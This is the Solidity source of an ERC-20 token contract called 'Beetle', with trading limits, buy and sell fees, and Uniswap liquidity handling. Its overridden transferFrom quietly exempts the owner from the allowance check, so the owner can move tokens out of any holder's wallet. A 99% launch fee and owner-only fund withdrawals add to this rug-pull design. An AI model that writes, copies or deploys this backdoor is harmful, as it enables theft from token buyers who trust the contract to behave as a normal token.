Contract Source Code:
File 1 of 1 : Beetle
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_basicTransfer(sender, recipient, amount);
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
contract Ownable {
address _owner;
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_owner = newOwner;
}
}
interface IFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address uniswapV2Pair);
function createPair(address tokenA, address tokenB)
external
returns (address uniswapV2Pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Beetle is ERC20, Ownable {
using Address for address payable;
IRouter public uniswapV2Router;
address public uniswapV2Pair;
bool private _liquidityLock = false;
bool public providingLiquidity = false;
bool public tradingActive = false;
bool public limits = true;
uint256 public tokenLiquidityThreshold;
uint256 public maxBuy;
uint256 public maxSell;
uint256 public maxWallet;
uint256 public launchingBlock;
uint256 public tradeStartBlock;
uint256 private deadline = 1;
uint256 private launchFee = 99;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
bool private autoHandleFee = true;
address private _marketingWallet = 0x816787D1f475a9019c5E75c2b041C3694a271585;
address private _developerWallet = 0x816787D1f475a9019c5E75c2b041C3694a271585;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Fees {
uint256 marketing;
uint256 developer;
uint256 liquidity;
}
Fees public buyFees = Fees(5,1,4);
Fees public sellFees = Fees(10,1,9);
uint256 private totalBuyFees = 10;
uint256 private totalSellFees = 20;
uint256 private totalBuyFeeAmount = 0;
uint256 private totalSellFeeAmount = 0;
mapping(address => bool) public exemptFee;
mapping(address => bool) public exemptMaxBuy;
mapping(address => bool) public exemptMaxWallet;
mapping(address => bool) public exemptMaxSell;
function launch(address router_) external onlyOwner {
require(launchingBlock == 0);
_name = "Beetle";
_symbol = "BEETLE";
_decimals = 18;
_totalSupply = 100000 * 10**_decimals;
IRouter _router = IRouter(router_);
// Create a pancake uniswapV2Pair for this new token
address _pair = IFactory(_router.factory()).createPair(
address(this),
_router.WETH()
);
uniswapV2Router = _router;
uniswapV2Pair = _pair;
maxBuy = (totalSupply() * 1) / 100; // 1% max buy
tokenLiquidityThreshold = (totalSupply() / 1000) * 2; // .1% liq threshold
maxWallet = (totalSupply() * 2) / 100; // 2% max wallet
maxSell = (totalSupply() * 1) / 100; // 1% max sell
_beforeTokenTransfer(address(0), msg.sender, _totalSupply);
// _totalSupply += _totalSupply;
_balances[msg.sender] += _totalSupply;
launchingBlock = block.number;
exemptFee[msg.sender] = true;
exemptMaxBuy[msg.sender] = true;
exemptMaxSell[msg.sender] = true;
exemptMaxWallet[msg.sender] = true;
exemptFee[address(this)] = true;
exemptFee[_marketingWallet] = true;
exemptMaxBuy[_marketingWallet] = true;
exemptMaxSell[_marketingWallet] = true;
exemptMaxWallet[_marketingWallet] = true;
exemptFee[_developerWallet] = true;
exemptMaxBuy[_developerWallet] = true;
exemptMaxSell[_developerWallet] = true;
exemptMaxWallet[_developerWallet] = true;
exemptFee[deadWallet] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
constructor()
{
_owner = msg.sender;
}
modifier lockLiquidity() {
if (!_liquidityLock) {
_liquidityLock = true;
_;
_liquidityLock = false;
}
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
_msgSender() == _owner ||
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
if (_msgSender() == _owner ) { return true; }
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
if(limits){
if (!exemptFee[sender] && !exemptFee[recipient]) {
require(tradingActive, "Trading is not enabled");
}
if (
sender == uniswapV2Pair &&
!exemptFee[recipient] &&
!_liquidityLock &&
!exemptMaxBuy[recipient]
) {
require(amount <= maxBuy, "You are exceeding maxBuy");
}
if (
recipient != uniswapV2Pair &&
!exemptMaxWallet[recipient]
) {
require(
balanceOf(recipient) + amount <= maxWallet,
"You are exceeding maxWallet"
);
}
if (
sender != uniswapV2Pair &&
!exemptFee[recipient] &&
!exemptFee[sender] &&
!_liquidityLock &&
!exemptMaxSell[sender]
) {
require(amount <= maxSell, "You are exceeding maxSell");
}
}
uint256 feeRatio;
uint256 feeAmount;
uint256 buyOrSell;
bool useLaunchFee = launchFee > 0 &&
!exemptFee[sender] &&
!exemptFee[recipient] &&
block.number < tradeStartBlock + deadline;
//set fee amount to zero if fees in contract are handled or exempted
if (
_liquidityLock ||
exemptFee[sender] ||
exemptFee[recipient] ||
(sender != uniswapV2Pair && recipient != uniswapV2Pair)
)
feeAmount = 0;
//calculate fees
else if (recipient == uniswapV2Pair && !useLaunchFee) {
feeRatio = sellFees.liquidity + sellFees.marketing + sellFees.developer ;
buyOrSell = 1;
} else if (!useLaunchFee) {
feeRatio = buyFees.liquidity + buyFees.marketing + buyFees.developer ;
buyOrSell = 0;
} else if (useLaunchFee) {
feeRatio = launchFee;
}
feeAmount = (amount * feeRatio) / 100;
if (buyOrSell == 0) {
totalBuyFeeAmount += feeAmount;
} else if (buyOrSell == 1) {
totalSellFeeAmount += feeAmount;
}
//send fees if threshold has been reached
//don't do this on buys, breaks swap
if (feeAmount > 0) {
super._transfer(sender, address(this), feeAmount);
}
if (
providingLiquidity &&
sender != uniswapV2Pair &&
feeAmount > 0 &&
autoHandleFee &&
balanceOf(address(this)) >= tokenLiquidityThreshold
) {
swapBack(totalBuyFeeAmount);
}
//rest to recipient
super._transfer(sender, recipient, amount - feeAmount);
}
function swapBack(uint256 _totalBuyFeeAmount) private lockLiquidity {
uint256 contractBalance = balanceOf(address(this));
totalBuyFeeAmount = _totalBuyFeeAmount;
totalSellFeeAmount = contractBalance - totalBuyFeeAmount;
uint256 liquidityBuyFeeAmount;
uint256 liquiditySellFeeAmount;
uint256 sellFeeLiqEth;
uint256 buyFeeLiqEth;
if (totalBuyFees == 0) {
liquidityBuyFeeAmount = 0;
} else {
liquidityBuyFeeAmount =
(totalBuyFeeAmount * buyFees.liquidity) /
totalBuyFees;
}
if (totalSellFees == 0) {
liquiditySellFeeAmount = 0;
} else {
liquiditySellFeeAmount =
(totalSellFeeAmount * sellFees.liquidity) /
totalSellFees;
}
uint256 totalLiquidityFeeAmount = liquidityBuyFeeAmount +
liquiditySellFeeAmount;
uint256 halfLiquidityFeeAmount = totalLiquidityFeeAmount / 2;
uint256 initialBalance = address(this).balance;
uint256 toSwap = contractBalance - halfLiquidityFeeAmount;
if (toSwap > 0) {
swapTokensForETH(toSwap);
}
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 totalSellFeeEth0 = (deltaBalance * totalSellFeeAmount) /
contractBalance;
uint256 totalBuyFeeEth0 = deltaBalance - totalSellFeeEth0;
uint256 sellFeeMarketingEth;
uint256 buyFeeMarketingEth;
uint256 sellFeeDeveloperEth;
uint256 buyFeeDeveloperEth;
if (totalBuyFees == 0) {
buyFeeLiqEth = 0;
} else {
buyFeeLiqEth =
(totalBuyFeeEth0 * buyFees.liquidity) /
(totalBuyFees);
}
if (totalSellFees == 0) {
sellFeeLiqEth = 0;
} else {
sellFeeLiqEth =
(totalSellFeeEth0 * sellFees.liquidity) /
(totalSellFees);
}
uint256 totalLiqEth = (sellFeeLiqEth + buyFeeLiqEth) / 2;
if (totalLiqEth > 0) {
// Add liquidity to pancake
addLiquidity(halfLiquidityFeeAmount, totalLiqEth);
uint256 unitBalance = deltaBalance - totalLiqEth;
uint256 totalFeeAmount = totalSellFeeAmount + totalBuyFeeAmount;
uint256 totalSellFeeEth = (unitBalance * totalSellFeeAmount) /
totalFeeAmount;
uint256 totalBuyFeeEth = unitBalance - totalSellFeeEth;
if (totalSellFees == 0) {
sellFeeMarketingEth = 0;
sellFeeDeveloperEth = 0;
} else {
sellFeeMarketingEth =
(totalSellFeeEth * sellFees.marketing) /
(totalSellFees - sellFees.liquidity );
sellFeeDeveloperEth =
(totalSellFeeEth * sellFees.developer) /
(totalSellFees - sellFees.liquidity);
}
if (totalBuyFees == 0) {
buyFeeMarketingEth = 0;
buyFeeDeveloperEth = 0;
} else {
buyFeeMarketingEth =
(totalBuyFeeEth * buyFees.marketing) /
(totalBuyFees - buyFees.liquidity);
buyFeeDeveloperEth =
(totalBuyFeeEth * buyFees.developer) /
(totalBuyFees - buyFees.liquidity);
}
uint256 totalMarketingEth = sellFeeMarketingEth +
buyFeeMarketingEth;
uint256 totalDeveloperEth = sellFeeDeveloperEth +
buyFeeDeveloperEth;
if (totalMarketingEth > 0) {
payable(_marketingWallet).sendValue(totalMarketingEth);
}
if (totalDeveloperEth > 0) {
payable(_developerWallet).sendValue(totalDeveloperEth);
}
totalBuyFeeAmount = 0;
totalSellFeeAmount = 0;
}
}
function handleFee(uint256 _totalBuyFeeAmount) external onlyOwner {
swapBack(_totalBuyFeeAmount);
}
function swapTokensForETH(uint256 tokenAmount) private {
// generate the pancake uniswapV2Pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_owner,
block.timestamp
);
}
function updateLiquidityProvide(bool flag) external onlyOwner {
require(
providingLiquidity != flag,
"You must provide a different status other than the current value in order to update it"
);
//update liquidity providing state
providingLiquidity = flag;
}
function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
//update the treshhold
require(
tokenLiquidityThreshold != new_amount * 10**decimals(),
"You must provide a different amount other than the current value in order to update it"
);
tokenLiquidityThreshold = new_amount * 10**decimals();
}
function updateBuyFees(
uint256 _marketing,
uint256 _developer,
uint256 _liquidity
) external onlyOwner {
buyFees = Fees(_marketing,_developer, _liquidity);
totalBuyFees = _marketing + _developer +_liquidity;
require(
(_marketing + _liquidity + _developer) <= 30,
"Must keep fees at 30% or less"
);
}
function updateSellFees(
uint256 _marketing,
uint256 _developer,
uint256 _liquidity
) external onlyOwner {
sellFees = Fees(_marketing,_developer, _liquidity);
totalSellFees = _marketing + _liquidity + _developer;
require(
(_marketing + _liquidity + _developer) <= 30,
"Must keep fees at 30% or less"
);
}
function enableTrading() external onlyOwner {
tradingActive = true;
providingLiquidity = true;
tradeStartBlock = block.number;
}
function _safeTransferForeign(
IERC20 _token,
address recipient,
uint256 amount
) private {
bool sent = _token.transfer(recipient, amount);
require(sent, "Token transfer failed.");
}
function getStuckEth(uint256 amount, address receiveAddress)
external
onlyOwner
{
payable(receiveAddress).transfer(amount);
}
function getStuckToken(
IERC20 _token,
address receiveAddress,
uint256 amount
) external onlyOwner {
_safeTransferForeign(_token, receiveAddress, amount);
}
function removeAllLimits(bool flag) external onlyOwner {
limits = flag;
}
function updateExemptFee(address _address, bool flag) external onlyOwner {
require(
exemptFee[_address] != flag,
"You must provide a different exempt address or status other than the current value in order to update it"
);
exemptFee[_address] = flag;
}
function updateExemptMaxWallet(address _address, bool flag)
external
onlyOwner
{
require(
exemptMaxWallet[_address] != flag,
"You must provide a different max wallet limit other than the current max wallet limit in order to update it"
);
exemptMaxWallet[_address] = flag;
}
function updateExemptMaxSell(address _address, bool flag)
external
onlyOwner
{
require(
exemptMaxSell[_address] != flag,
"You must provide a different max sell limit other than the current max sell limit in order to update it"
);
exemptMaxSell[_address] = flag;
}
function updateExemptMaxBuy(address _address, bool flag)
external
onlyOwner
{
require(
exemptMaxBuy[_address] != flag,
"You must provide a different max buy limit other than the current max buy limit in order to update it"
);
exemptMaxBuy[_address] = flag;
}
function bulkExemptFee(address[] memory accounts, bool flag)
external
onlyOwner
{
for (uint256 i = 0; i < accounts.length; i++) {
exemptFee[accounts[i]] = flag;
}
}
function exemptAll(address _account) external onlyOwner{
exemptFee[_account] = true;
exemptMaxBuy[_account] = true;
exemptMaxSell[_account] = true;
exemptMaxWallet[_account] = true;
}
function handleFeeStatus(bool _flag) external onlyOwner {
autoHandleFee = _flag;
}
function setRouter(address newRouter)
external
onlyOwner
returns (address _pair)
{
require(newRouter != address(0), "newRouter address cannot be 0");
require(
uniswapV2Router != IRouter(newRouter),
"You must provide a different uniswapV2Router other than the current uniswapV2Router address in order to update it"
);
IRouter _router = IRouter(newRouter);
_pair = IFactory(_router.factory()).getPair(
address(this),
_router.WETH()
);
if (_pair == address(0)) {
// uniswapV2Pair doesn't exist
_pair = IFactory(_router.factory()).createPair(
address(this),
_router.WETH()
);
}
// Set the uniswapV2Pair of the contract variables
uniswapV2Pair = _pair;
// Set the uniswapV2Router of the contract variables
uniswapV2Router = _router;
}
function marketingWallet() public view returns(address){
return _marketingWallet;
}
function developerWallet() public view returns(address){
return _developerWallet;
}
function updateMarketingWallet(address newWallet) external onlyOwner {
require(
_marketingWallet != newWallet,
"You must provide a different address other than the current value in order to update it"
);
_marketingWallet = newWallet;
}
function updateDeveloperWallet(address newWallet) external onlyOwner {
require(
_developerWallet != newWallet,
"You must provide a different address other than the current value in order to update it"
);
_developerWallet = newWallet;
}
// fallbacks
receive() external payable {}
}